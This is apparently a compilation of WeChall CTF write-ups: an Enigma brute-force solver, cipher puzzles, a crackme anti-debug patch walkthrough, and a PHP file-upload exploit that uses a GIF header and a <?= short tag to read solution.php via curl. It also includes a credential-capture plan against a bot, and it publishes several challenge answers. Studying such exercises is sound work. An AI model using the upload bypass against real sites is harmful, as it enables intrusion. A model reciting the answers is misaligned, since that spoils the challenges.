You wake up at 4 a.m. and sadly realise, that it is another day towork. You make your breakfast, and read your favourite newspaper "DerAngriff". The date is 5th June 1944. The news predicts there will be noinvasion for several days. Even your boss is away for vacation. Youarrive zur Wehrmacht at 5 a.m., and the night shift collegaues greetsyou. He gives you the daily codes and leaves immediately thecommunication station. He is really a lazy guy and havent establishedthe enigma settings yet. You really think its gonna be a lazy day -alone. You drink some beer and wait for incoming messages. As nothinghappens, you happen to fall asleep. You dream very well but suddenly theradio begins to ring. As you wake up from your deep dream you knock yourbeer and it soaks the daily codebook. You say some round oath, pick upthe radio and record the encrypted message:

U17 DE U101 0600 = 4 = VRS SDX = JSPK NIPN OZTR CYEW QICZ PDNO KRBUAXKE VTIS HIDE WZOY PGZN ERCY ADWI FTOB FYSL SKTD MLJX XVSZ JXCW BKNVIJMG RFOV YWYZ CKOZ ZPIV JLEN ZUUX NEAP QGOV

After the conversation you realise that the keys for today werepartially destroyed. You imagine how angry your superior will be afterreturning, if you don't decrypt the message immediately. The wastedcodebook is here: codebook;

Your job is to decipher the encrypted message, and the solution isthe last original german word in lowercase concatenated with the totalnumber of possible configurations in bits - if the wiring of the rotorsis secret.

For example AES128 has 128 bits. So if the last original german wordis "WeChall" and the total number of possible configurations in bits is128 the solution is: wechall128 Not a single beer-drop has been wastedduring the making of this challenge :)

TheNap

题面给出的报文：

1
2
3
4
5

U17 DE U101 0600 = 4 = VRS SDX =
JSPK NIPN OZTR CYEW QICZ PDNO KRBU AXKE VTIS
HIDE WZOY PGZN ERCY ADWI FTOB FYSL SKTD MLJX
XVSZ JXCW BKNV IJMG RFOV YWYZ CKOZ ZPIV JLEN
ZUUX NEAP QGOV

答案格式：

1

<last original german word lowercase><total config bits>

Codebook

codebook.jpg 是 1217×672 JPEG。水渍从右下角向上蔓延，Tag越小的行越难读。完整转写如下，[?]表示水渍遮挡或无法可靠读取。

Tag=05 对应 6 月 5 日。

Solution

把每个 AAA 到 ZZZ 当成 messagekey，枚举全部 rotor order 和 reflector。

搜索空间：

直接用 German trigram score 排名，比 IC 更可靠。随机文本偶尔有较高IC，但不会同时命中 DER/DIE/DAS/UND/SCH/UNG 等多个德语片段。

最佳结果：

1
2

score=14  IC=0.0605  rotors=II I IV  ref=B  key=ENI
VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKER...

完整解密参数：

原始 plaintext：

1

VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKERAUSNORDWESTXDIENAQTWIRDKLARMITVOLLMONDXX

解析规则：

可读德语：

1
2
3

DER HIMMEL IST OFT NEBELHAFT UND ZEITWEISE IST MIT REGEN ZU RECHNEN.
DER WIND WEHT STARKER AUS NORDWEST.
DIE NACHT WIRD KLAR MIT VOLLMOND.

最后一个 original German word 是 VOLLMOND，小写为vollmond。

Complete solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228

#!/usr/bin/env python3
"""
WeChall - The Nap

Reproduce the complete solution:
- Brute-force Enigma rotor order / reflector / message key
- Score German plaintext candidates with overlapping trigram matching
- Parse raw plaintext into readable German and extract the last word
- Compute the bit value accepted by the challenge: floor(log2(3e114)) = 380

Run:
    cd /home/kita/ctf/workspace
    .venv/bin/python3 challenges/wechall/the-nap/solve_new.py
"""
import itertools
import math
import re
from collections import Counter
from enigma.machine import EnigmaMachine

ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ALL_ROTORS = ['I', 'II', 'III', 'IV', 'V']

CIPHER = (
    'JSPKNIPNOZTRCYEWQICZPDNOKRBUAXKEVTISHIDEWZOYPGZNERCYADWIFTOB'
    'FYSLSKTDMLJXXVSZJXCWBKNVIJMGRFOVYWYZCKOZZPIVJLENZUUXNEAPQGOV'
)

RING_SETTINGS = '22 24 11'
PLUGBOARD = 'AN CF DZ EJ HX KT LY MQ OP SV'

# Common German trigrams/fragments for language scoring.
_GERMAN_MARKERS = [
    'DER', 'DIE', 'DAS', 'UND', 'IST', 'EIN', 'ICH', 'NIC', 'MIT', 'AUF',
    'SCH', 'UNG', 'END', 'TER', 'STE', 'ERE', 'AND', 'DEN', 'VON', 'ZUR',
    'ABE', 'GEN', 'TEN', 'DES', 'DEM', 'WIR', 'SIE', 'SEI', 'WAR', 'WUR',
    'BEI', 'KEI', 'HAB', 'KAN', 'WOR', 'MEN', 'HTS', 'LIC', 'VER', 'TUN',
]
# Precompile regex patterns for overlapping trigram matching.
_MARKER_PATTERNS = [re.compile(f'(?={m})') for m in _GERMAN_MARKERS]

# Compact German word list for plaintext segmentation.
_GERMAN_WORDS = {
    'DER', 'DIE', 'DAS', 'DEN', 'DEM', 'DES', 'EIN', 'EINE', 'EINEN', 'EINER',
    'ICH', 'WIR', 'SIE', 'ER', 'ES', 'IHN', 'IHM', 'IHR', 'SEIN', 'SEINE',
    'MIT', 'VON', 'ZU', 'AUS', 'IN', 'AN', 'AUF', 'BEI', 'NACH', 'VOR',
    'UEBER', 'UNTER', 'DURCH', 'FUER', 'GEGEN', 'OHNE', 'UM', 'SEIT', 'BIS',
    'UND', 'ODER', 'ABER', 'DENN', 'WEIL', 'WENN', 'DASS', 'OB', 'SO',
    'DOCH', 'NUR', 'AUCH', 'NOCH', 'SCHON', 'SEHR', 'IMMER', 'NICHT', 'KEIN',
    'IST', 'SIND', 'WAR', 'WIRD', 'WURDE', 'HAT', 'HABEN', 'KANN', 'MUSS',
    'SOLL', 'WILL', 'KOMMT', 'GEHT', 'STEHT', 'MACHT', 'GIBT', 'SAGT',
    'HIMMEL', 'NEBELHAFT', 'REGEN', 'RECHNEN', 'WIND', 'WEHT', 'STARK',
    'STARKER', 'NORD', 'WEST', 'NORDWEST', 'NACHT', 'KLAR', 'VOLL', 'MOND',
    'VOLLMOND', 'ZEIT', 'WEISE', 'ZEITWEISE', 'OFT',
    'TAG', 'JAHR', 'LAND', 'STADT', 'HAUS', 'WEG', 'MANN', 'FRAU', 'KIND',
    'GUT', 'GROSS', 'KLEIN', 'ALT', 'NEU', 'HOCH', 'TIEF', 'WEIT', 'NAH',
    'HIER', 'DORT', 'DA', 'WO', 'WIE', 'WAS', 'WER',
}


def ic(text: str) -> float:
    """Index of Coincidence.  German prose ~0.076; random ~0.038."""
    n = len(text)
    if n < 2:
        return 0.0
    counts = Counter(text)
    return sum(v * (v - 1) for v in counts.values()) / (n * (n - 1))


def german_score(text: str) -> int:
    """
    Overlapping trigram count against common German fragments.

    Uses regex lookahead (?=MARKER) so that e.g. 'ERERE' counts 'ERE' twice
    (positions 0 and 2), unlike str.count() which only finds non-overlapping
    occurrences.
    """
    return sum(len(pat.findall(text)) for pat in _MARKER_PATTERNS)


def _segment_german(compound: str, words: set[str]) -> list[str]:
    """Greedy longest-match left-to-right segmentation of a compound string."""
    result = []
    i = 0
    n = len(compound)
    while i < n:
        best_len = 0
        for length in range(min(12, n - i), 0, -1):
            if compound[i:i + length] in words:
                best_len = length
                break
        if best_len > 0:
            result.append(compound[i:i + best_len])
            i += best_len
        else:
            result.append(compound[i])
            i += 1
    return result


def _extract_last_word(compound: str, words: set[str]) -> str:
    """Extract the last German word by scanning from the right for the
    longest dictionary match."""
    n = len(compound)
    best_word = ''
    for start in range(n - 1, -1, -1):
        for length in range(min(12, n - start), 0, -1):
            candidate = compound[start:start + length]
            if candidate in words:
                if length > len(best_word):
                    best_word = candidate
                break
        if best_word:
            # Extend left for compound words (e.g., VOLLMOND vs MOND)
            left = start - 1
            while left >= 0:
                found_longer = False
                for length in range(min(12, n - left), len(best_word), -1):
                    candidate = compound[left:left + length]
                    if candidate in words and len(candidate) > len(best_word):
                        best_word = candidate
                        found_longer = True
                        break
                if not found_longer:
                    break
                left -= 1
            return best_word
    return ''


def decode_plaintext(raw: str) -> tuple[str, str]:
    """
    Parse raw Enigma plaintext into readable German and extract the last word.

    - First 6 chars (VRSSDX) are the transmitted indicator, not German.
    - 'X' separates sentences; 'XX' terminates the message.
    - 'Q' represents 'CH' (no CH key on Enigma keyboard).
    """
    body = raw[6:]
    segments = [s.replace('Q', 'CH') for s in body.split('X') if s]

    last_word = ''
    readable_lines = []
    for seg in segments:
        words = _segment_german(seg, _GERMAN_WORDS)
        if words:
            readable_lines.append(' '.join(words).upper() + '.')
            last_word = words[-1]

    return '\n'.join(readable_lines), last_word.upper()


def accepted_bit_value() -> int:
    """Published Enigma secret-wiring keyspace: ~3e114 ~ 2^380."""
    return math.floor(math.log2(3 * 10**114))


def _build_machines() -> dict[tuple[str, str], EnigmaMachine]:
    """Pre-build all 120 (60 × 2) machine objects.  Reuse via set_display()."""
    machines = {}
    for rotors_tuple in itertools.permutations(ALL_ROTORS, 3):
        rotors = ' '.join(rotors_tuple)
        for reflector in ('B', 'C'):
            machines[(rotors, reflector)] = EnigmaMachine.from_key_sheet(
                rotors=rotors,
                reflector=reflector,
                ring_settings=RING_SETTINGS,
                plugboard_settings=PLUGBOARD,
            )
    return machines


def brute_force_message_key() -> list[tuple[int, float, str, str, str, str]]:
    """Search: 60 rotor orders × 2 reflectors × 26³ keys = 2,109,120."""
    machines = _build_machines()
    keys = [''.join(p) for p in itertools.product(ALPHABET, repeat=3)]
    hits = []

    for (rotors, reflector), machine in machines.items():
        for key in keys:
            machine.set_display(key)
            plain = machine.process_text(CIPHER)
            score = german_score(plain)
            if score > 3:
                hits.append((score, ic(plain), rotors, reflector, key, plain))

    hits.sort(key=lambda row: (-row[0], -row[1]))
    return hits


def main() -> None:
    hits = brute_force_message_key()

    print('Top German-scored candidates:')
    print('score   IC      rotors      ref  key  plaintext-prefix')
    print('-' * 86)
    for score, ici, rotors, reflector, key, plain in hits[:20]:
        print(f'{score:>5}  {ici:.4f}  {rotors:<10}  {reflector:<3}  {key:<3}  {plain[:80]}')

    score, ici, rotors, reflector, key, plain = hits[0]
    readable, last_word = decode_plaintext(plain)
    bits = accepted_bit_value()

    print('\nWinning settings:')
    print(f'rotors      = {rotors}')
    print(f'reflector   = {reflector}')
    print(f'rings       = {RING_SETTINGS}')
    print(f'plugboard   = {PLUGBOARD}')
    print(f'message key = {key}')
    print(f'score       = {score}')
    print(f'IC          = {ici:.4f}')
    print(f'last word   = {last_word}')

    print('\nRaw plaintext:')
    print(plain)

    print('\nReadable German:')
    print(readable)

    print('\nBit value:')
    print(f'floor(log2(3 * 10^114)) = {bits}')

    print('\nSolution:')
    print(f'{last_word.lower()}{bits}')


if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

Top German-scored candidates:
score   IC      rotors      ref  key  plaintext-prefix
--------------------------------------------------------------------------------------
   14  0.0605  II I IV     B    ENI  VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKER
    7  0.0389  III I II    B    UDG  YBTYENICPMICTBAKRDUESFJRDZEYQGCVQCVCDPENDPWBEINOGLHIIKCCYVGHCSOUMEYYTWSRBPYHFTVI
    6  0.0466  III II V    B    AQU  BEWEYFJXUDASKFTCXAAANZMNFLHAHANOGKFHAWBFBBEHWMHRPGEJPFXLMYZLAKFEQHMABEINQKDHVAND
    ...

Winning settings:
rotors      = II I IV
reflector   = B
rings       = 22 24 11
plugboard   = AN CF DZ EJ HX KT LY MQ OP SV
message key = ENI
score       = 14
IC          = 0.0605
last word   = VOLLMOND

Raw plaintext:
VRSSDXDERHIMMELISTOFTNEBELHAFTUNDZEITWEISEISTMITREGENZUREQNENXDERWINDWEHTSTARKERAUSNORDWESTXDIENAQTWIRDKLARMITVOLLMONDXX

Readable German:
DER HIMMEL IST OFT NEBELHAFT UND ZEITWEISE IST MIT REGEN ZU RECHNEN.
DER WIND WEHT STARKER AUS NORDWEST.
DIE NACHT WIRD KLAR MIT VOLLMOND.

Bit value:
floor(log2(3 * 10^114)) = 380

Solution:
vollmond380

Bit count

Z 在论坛里贴的这段提示，逐字抄自一篇 NSA 论文：

1
2
3
4
5
6
7
8
9
10
11

The Enigma cipher machine consists of five variable components:
1. a plugboard which could contain from zero to thirteen dual-wired cables
2. three ordered (left to right) rotors which wired twenty-six input contact points to twenty-six output contact points positioned on alternate faces of a disc
3. twenty-six serrations around the periphery of the rotors which allowed the operator to specify an initial rotational position for the rotors
4. a moveable ring on each of the rotors which controlled the rotational behavior of the rotor immediately to the left by means of a notch
5. a reflector half-rotor (which did not in fact rotate) to fold inputs and outputs back onto the same face of contact points

Your goal is to calculate the total number of possible configurations for such an Enigma machine,
where you can make your own rotors, etc.

And finally a hint: If you cant solve this part by yourself, google is your best friend

来源：NSA 论文 The Cryptographic Mathematics ofEnigma

• 作者：Dr. A. Ray Miller, Center for Cryptologic History, NSA
• 这篇论文首次算出了 Enigma 的完整理论 keyspace
• 论文给出的精确数字（三转子、单 notch、已知 reflector wiring，即secret wiring 的前提）：

1
2
3
4
5

3,283,883,513,796,974,198,700,882,069,882,752,878,
379,955,261,095,623,685,444,055,315,226,006,433,615,
627,409,666,933,182,371,154,802,769,920,000,000,000

≈ 3 × 10^114

获取：

• NSA 官方 PDF（需从 NSA History 页面导航，直链 403）：https://media.defense.gov/2021/Jul/13/2002761536/-1/-1/0/CRYPTOMATHENIGMA_MILLER.PDF
• Internet Archive 镜像（可直接下载）：https://web.archive.org/web/20090117030740/http://www.nsa.gov/about/_files/cryptologic_heritage/publications/wwii/engima_cryptographic_mathematics.pdf
• Cornell 大学密码学课件也引用了同一篇论文

题目要求的是 "total number of possible configurations in bits" =floor(log2(3×10^114)) = 380。

Hello ,

This is a training challenge for simple substitution with anadditional problem. The glyphs used all look alike a bit to confuse you.Punctuation has been removed. The text is in english.

I bet you will get it and know what to do with this:

Good Luck!

• gizmore

Note: The challenge solution is bound to your WeChall session id.

solution

Layer 1: Scream Cipher

每个 Unicode 字符是 A + 变音符号的组合。使用 23个不同字符（22 个 A 变体 + 1 个纯 A）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

>>> CIPHER = {
... "A":"A",  # Round-trip!
... "B":"Á","G":"Ẳ","L":"Ậ","Q":"Ǟ","V":"À",
... "C":"Ă","H":"Ẵ","M":"Ầ","R":"Ȧ","W":"Ả",
... "D":"Ắ","I":"Ǎ","N":"Ẩ","S":"Ǡ","X":"Ȃ",
... "E":"Ặ","J":"Â","O":"Ẫ","T":"Ạ","Y":"Ā",
... "F":"Ằ","K":"Ấ","P":"Ä","U":"Ȁ","Z":"Ą",
... }
... CIPHER.update({map(str.lower, kv) for kv in CIPHER.items()})
... UNCIPHER = {v: k for k, v in CIPHER.items()}
...
... def SCREAM(text: str) -> str:
...     return "".join(CIPHER.get(ch, ch) for ch in text)
...
... def unscream(scream: str) -> str:
...     return "".join(UNCIPHER.get(ch, ch) for ch in scream)
...
...
... print(s := SCREAM("**************************************************************************************************************************\
*************************************************************************************************************************************************\
******************************************************************"))
... # ǠĂȦẶAẦ ĂǍÄẴẶȦ
...
... print(unscream(s))
... # SCREAM CIPHER

Layer 2: 替换密码

中间字母 (A-W) 构成替换密码，无空格（连续文本）。使用 quadgramhill-climbing 破解。

替换映射表（Cipher → Plain）：

使用 subsolve (Rust, quadgram hill climbing):

1

subsolve --patristocrat -f cipher_text.txt

1

❯ ./target/release/subsolve "*********************************************************************************************************************************************************************************************************************************************************************************************************************************************"

也可以看成一个非常规单次加密的单表替换Scream Cipher。

Chessy Hawks (Crypto, Logic)

Today something weird happened to you. You took a walk in the parkand found a USB stick on a chessboard, together with weird numerals onthe playfield. You instantly wondered if they are related to each other,and took both the stick and a sketch of the board home. Your thoughtswere right. The stick seems encrypted and the chessboard probablyreveals the password.

一张 GIF 图片 chessy_hawks.gif，画着一个 8×8棋盘，某些格子上有 hex 数字。

Solution

棋盘坐标本身可以看作 hex 值：a=0xA, b=0xB, ...,h=0x17。每个有数字的格子上标着一个 hex值，黄圈正数，蓝圈负数，计算方式为：

1

chr(coordinate_hex - value_on_board)

其中 coordinate_hex = int(str(rank) + file_letter, 16)。

例如 a8：coord = 0x8A = 138，格子上 0x24 = 36。138 − 36 = 102 = 0x66= f。

负值实际做加法（减去负数 = 加绝对值）。例如 f6：coord = 0x6F =111，格子上 −8，111 − (−8) = 119 = 0x77 = w。

所有有数字的格子计算结果如下：

注：c6 的值 0x49 对应 #，但它是原始 hex 45解码环节的一部分。

按坐标顺序 (a8→e8→c6→d6→f6→b5→a4→e4→d2) 读取字符，得到：

1

f R 3 3 P w n 1 3 Z

The Mime Files (Exploit)

Hello Hacker, As you know, i am constantly developing great newwebsites. But this time, i am puzzled... Somehow, hackers broke into mynew site "The Mime Files" and read the contents of solution.php. OUCH!Can you help me to find the vulnerability?

Source Code Analysis

Web app at https://themimefiles.warchall.net/是一个文件上传站点。

lib/upload.php — 核心上传逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13

function uploadFile(array $file)
{
    $mime = mime_content_type($file['tmp_name']);
    if (strpos($mime, 'image') !== 0)  // 检查 MIME 以 image 开头
        return false;

    $data = file_get_contents($file['tmp_name']);
    if (stripos($data, '<?php') !== false)  // 检查 PHP 代码
        return false;  // # This does not seem to help :/

    $path = 'upload/' . session_id() . '/' . $file['name'];
    rename($file['tmp_name'], $path);
}

Vulnerabilities

1. MIME 类型绕过: mime_content_type()会根据文件头判断类型。添加 GIF 头可使文件被识别为image/gif。

2. PHP 代码检测绕过:stripos($data, '<?php') 只检测 <?php字面串。使用 PHP 短标签 <?= 即可绕过 — 它完全不含 "php"字符串。作者注释 # This does not seem to help :/也暗示了这个绕过。

3. 文件扩展名白嫖: 没有扩展名过滤，可直接上传.php 文件。

Exploit

构造 payload 文件:

1

printf 'GIF89a<?= file_get_contents("../solution.php") ?>' > shell.php

GIF89a 头 → MIME check 通过 (image/gif)<?= 短标签 → PHP 检测绕过 .php 后缀 →Apache 以 PHP 执行

上传并访问:

1
2
3
4
5
6
7

curl -b "PHPSESSID=xxx" \
  -F "mimefile=@shell.php;filename=shell.php" \
  -F "upload=upload" \
  https://themimefiles.warchall.net/upload.php

curl -b "PHPSESSID=xxx" \
  https://themimefiles.warchall.net/upload/SESSION_ID/shell.php

返回：GIF89a<?php\n// GoodyearGoodeveGooday

Flag

Fix Us (Exploit, PHP)

Your mission is now to maintain access to the solution boards for theZ challenges. Your plan is to gather information about the challengesolutions and gain more points on WeChall.net. Because Z is a naive,click-before-think guy, he clicks on every link you send him. Your planis to send Z a malicious, but innocent looking link, and once he logs inWeChall, you will be able to login in the credentials of Z - and readthe solution boards as well. Gizmore did a good job against XSS andCSRF, so you have to find another flaw to log in. After examining theWeChall source code, you found a hidden login page for the Z solutionboards.

Analysis

攻击面

挑战提供三个入口： 1. login.php — 隐藏的 Z solutionboards 登录表单（字段：zusername + zuserp） 2.forum.php — 秘密论坛，需要 Z 权限才能访问 3."Send a link to Z" — 向 Z 发送恶意链接

登录验证使用 WeChall 主站数据库（论坛 hint 证实："To use thelogin form, simply use your real wechallusername/password."），所以 Z 的 fixus 密码就是他的 WeChall密码。

攻击链（理论）

1. 搭建一个 HTTP endpoint（VPS、Cloudflare Tunnel 等）
2. 通过 "Send a link to Z" 给 Z 发送恶意链接
3. Z 的 bot 点击链接，访问 endpoint
4. 捕获 Z 的请求（HTTP headers、cookie、Authorization 等）
5. 用 Z 的身份登录 fixus → 获取 secret forum 内容 → 拿到 flag

关键线索

论坛 hint 帖（forum-t223）给出以下信息： - "Check the Links,Tutorials..." — Z 在 tutorials 区发过一个链接，内容与本挑战相关- "It's neither a bee nor a hornet" — 排除BeEF（#58），不是 XSS 框架攻击 - "it might work with the data inURLs, but does not work sent in the http headers" — fixus登录接受 GET 参数（原为 bug），但预期攻击方式是通过 HTTP headers -"The challenge might be currently a bit buggy" —挑战可能有 bug，Z bot 可能不正常

阻塞原因

Z bot 不可用（疑似损坏）。用 Cloudflare Tunnel建立了公开 HTTP endpoint，发送了多个不同格式的链接给Z，没有任何请求到达。挑战论坛的最后一个 hint帖（2015年）已指出挑战可能有 bug。

结论

挑战依赖 Z bot 的外部交互，该 bot 目前停用。留待 Z bot修复后再尝试。

解题历史

查看 challenge solvers 页面，Fix Us 的解题时间线如下：

• 2009-03-25: gizmore (创建者)
• 2009-03-27 ~ 2012-03-25: 陆续 91 人解出
• 2012-03-25: 最后一人解出
• 2012-03-25 ~ 至今 (14年+): 零人解题

92 人的总解题数自 2012 年起从未增长。bot 早在 14年前就已失效，挑战在当前状态下不可解。

参考

• https://www.wechall.net/en/challenge/fixus/index.php
• https://www.wechall.net/forum-t223/Just_a_hint.html

WeChall 上的 TheLast Hope（Linux, Cracking），由一个 32-bit ELF 二进制构成。

反调试绕过

二进制有 5 层反调试，必须全部 patch 掉才能正常运行或调试。

先用 rabin2 获取基本信息：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$ rabin2 -I bsd_thelasthope.elf
arch     x86
binsz    10569
bintype  elf
bits     32
canary   false
class    ELF32
compiler GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3
nx       true
os       linux
pic      false
relocs   false
static   false
stripped false
subsys   linux

Layer 1: .ctors构造函数

在 main() 之前，.ctors 段中的anti_ptrace 就会被调用：

1
2

$ r2 -q -c 'pf. S .ctors' bsd_thelasthope.elf
0x0804af00 ffffffff 5b8c0408 00000000     ....[.......

0x08048c5b 即 anti_ptrace。将其 patch 为0xffffffff（sentinel 值），让反向遍历提前终止：

1
2

# .ctors entry @ VA 0x0804af04 → 文件偏移 = VA - 0x08049000 = 0x1f04
printf '\xff\xff\xff\xff' | dd of=bsd_thelasthope.elf bs=1 seek=$((0x1f04)) conv=notrunc

Layer 2& 3: main 中的 anti_ptrace 调用 + SIGTRAP handler

用 r2 查看 main 的 disassembly：

1

$ r2 -A -q -c 'pdf @ main' bsd_thelasthope.elf

关键片段：

1
2
3
4

0x08048d59: call anti_ptrace
0x08048d5e: mov  dword [esp+4], handler  ; signal handler
0x08048d66: mov  dword [esp], 5           ; SIGTRAP
0x08048d6d: call signal

Patch 这两处为 NOP：

1
2

# VA 0x08048d59 → 文件偏移 0x0d59: 5 bytes → NOP
# VA 0x08048d6d → 文件偏移 0x0d6d: 5 bytes → NOP

Layer 4: INT3 + breakpoint检测

1
2
3
4
5
6
7
8

0x08048d72: int3                    ; SIGTRAP → handler 吞掉
0x08048d73: mov  eax, 0x8048bd1     ; pw_check 地址
0x08048d78: add  eax, 3
0x08048d7b: mov  eax, [eax]
0x08048d7d: and  eax, 0xff
0x08048d82: cmp  eax, 0xcc          ; 检查 pw_check+3 是否被设了 0xCC (int3)
0x08048d87: jne  ...
; 如果发现 0xCC → 打印 "no,no breakpoints" → exit

Patch 方案：把 int3 (VA 0x08048d72 → 文件偏移 0x0d72)NOP 掉，把 jne (VA 0x08048d87 → 0x0d87) 改为jmp。

Layer 5:ptrace(PTRACE_TRACEME)

1
2
3

0x08048dc0: call ptrace             ; ptrace(PTRACE_TRACEME, 0, 1, 0)
0x08048dc5: test eax, eax
0x08048dc7: jns  ...                ; ≥0 → 正常; <0 → "oh oh DEBUGGING... Bye"

由于 Layer 1 的 fork 子进程已经 ptrace(ATTACH)了父进程，PTRACE_TRACEME 必然失败（一个进程只能被一个 tracer追踪）。改为 xor eax, eax：

1

# VA 0x08048dc0 → 文件偏移 0x0dc0: 5 bytes → xor eax,eax; nop; nop; nop (31 c0 90 90 90)

完整 patch 脚本见文末。

Username 逆向(user_check)

函数调用链

用 r2 列出关键函数：

1
2
3
4

$ r2 -q -c 'afl~check' bsd_thelasthope.elf
0x08048863  user_check
0x08048bd1  pw_check
0x080487a6  length_check

main 中的处理流程：

1. fgets(username, 15, stdin) — 读入包含换行符（如"whoami\n"，strlen=7）
2. lc(username, len) — 检查前 len-1个字符不含大写字母
3. uc(username, len) — 将前 len-1个字符转为大写（原地修改，内部调用 toupper()）
4. user_check(username, len) — 逐字符验证

由于 fgets保留换行符，strlen("whoami\n")=7，循环 i=0..5覆盖全部 6 个有效字符。换行符在 i=6 处被排除。

约束条件（应用于大写 ASCII值）

用 pwntools 快速提取符号和关键常量：

1
2
3
4
5
6
7
8

from pwn import *

elf = ELF('bsd_thelasthope.elf')
print(f"user_check @ {elf.symbols['user_check']:#x}")

# 读取加密目标字符串（位于 .rodata 0x08049050）
target = elf.read(0x08049050, 10)
print(f"encrypted target: {target}")  # b'Oxw|n]nfog'

user_check 对每个位置 i执行不同的检查，将满足条件的值累加到 accumulator，最终与0xcd5 (3285) 比较：

• 0, 1, 4: 6c±1 双 Fermat + 硬编码，累加+13c。f0=6c-1, f1=6c+1 均须为基-2 伪素数
• 2, 5: 单 Fermat (c 自身)，累加 +c。2^(c-1) mod c ==1
• 3: 整除性，累加 +c。c % 5 == 0

硬编码检查（在 fermat 通过后执行）：

• U[0]: 2×c == 0xae (174) → c = 87 = W
• U[1]: 2×c == 0x90 (144) → c = 72 = H
• U[4]: 2×c == 0x9a (154) → c = 77 = M

U[0], U[1], U[4] 被固定为 W, H,M。同时要求 6c±1 为素数对（twin primes 模式）：

• W=87: 6×87-1=521(✓), 6×87+1=523(✓)
• H=72: 6×72-1=431(✓), 6×72+1=433(✓)
• M=77: 6×77-1=461(✓), 6×77+1=463(✓)

注意：positions 0,1,4 的 fermat检查后有一条看似多余的 c == floor(6c/5) 比较，实际上编译器magic constant 0x2aaaaaab 做的是除以 6（而非除以5）。floor(6c/6) == c 恒成立，实为 no-op。

求解

已知 13×(87+72+77) = 3068，剩余：3285 - 3068 = 217。

在 A-Z (65-90) 范围内筛选：

• U[2], U[5] 须为 Fermat 伪素数: C, G, I, O, S, Y
• U[3] 须被 5 整除: A, F, K, P, U, Z

求 U[2] + U[3] + U[5] = 217 的解：

1
2
3

U[2]=G(71), U[3]=K(75), U[5]=G(71) → WHGKMG (whgkmg)
U[2]=I(73), U[3]=A(65), U[5]=O(79) → WHIAMO (whiamo)
U[2]=O(79), U[3]=A(65), U[5]=I(73) → WHOAMI (whoami)

唯一形成有意义单词的是 WHOAMI，对应输入whoami（程序通过 uc() 自动转大写）。

z3 求解（替代方案）

此题约束本质是 CSP：6 个变量、有限域（A-Z）、线性方程 + 素性谓词。z3的 table-driven 模式很适合——预计算 26 个字符中哪些满足各位置约束，交给z3 解线性部分：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

from z3 import *

def is_fermat_prime(n):
    if n < 2: return False
    return pow(2, n-1, n) == 1

# 预计算：26 个字符中哪些满足各位置的素性约束
valid_014 = [c for c in range(65,91)
             if is_fermat_prime(6*c-1) and is_fermat_prime(6*c+1)]
valid_25  = [c for c in range(65,91) if is_fermat_prime(c)]
valid_3   = [c for c in range(65,91) if c % 5 == 0]

# Bool table：每个字符是否满足对应约束
table_014 = {c: Bool(f"twin_{c}")  for c in range(65, 91)}
table_25  = {c: Bool(f"prime_{c}") for c in range(65, 91)}
table_3   = {c: Bool(f"mod5_{c}")  for c in range(65, 91)}

s = Solver()
for c in range(65, 91):
    s.add(table_014[c] == (c in valid_014))
    s.add(table_25[c]  == (c in valid_25))
    s.add(table_3[c]   == (c % 5 == 0))

U = [BitVec(f'U{i}', 16) for i in range(6)]
for i in range(6):
    s.add(U[i] >= 65, U[i] <= 90)

# Per-position constraints via table lookup
s.add(Or([And(U[0] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[1] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[4] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[2] == c, table_25[c])  for c in range(65, 91)]))
s.add(Or([And(U[5] == c, table_25[c])  for c in range(65, 91)]))
s.add(Or([And(U[3] == c, table_3[c])   for c in range(65, 91)]))

# Hardcoded checks (from assembly)
s.add(2 * U[0] == 174)  # 0xae → W
s.add(2 * U[1] == 144)  # 0x90 → H
s.add(2 * U[4] == 154)  # 0x9a → M

# Accumulator sum
s.add(13 * (U[0] + U[1] + U[4]) + U[2] + U[3] + U[5] == 3285)

while s.check() == sat:
    m = s.model()
    name = ''.join(chr(m[U[i]].as_long()) for i in range(6))
    print(f"{name} → {name.lower()}")
    s.add(Or([U[i] != m[U[i]] for i in range(6)]))

# Output:
#   WHGKMG → whgkmg
#   WHOAMI → whoami
#   WHIAMO → whiamo

为什么不用 angr？ 此题有 x87浮点指令（fprem/fmod 做 Fermat 检验）+fork/ptrace 反调试 + INT3 断点检测。angr 的VEX IR 对 x87 浮点栈支持弱，fork 会直接 concretize，且patch 5 层反调试后 angr 能做的也只是验证已知路径——不如直接 z3解约束。

Password 逆向(pw_check)

XOR 加密

用 r2 反编译 encrypt 函数：

1

$ r2 -A -q -c 'pdf @ sym.encrypt' bsd_thelasthope.elf

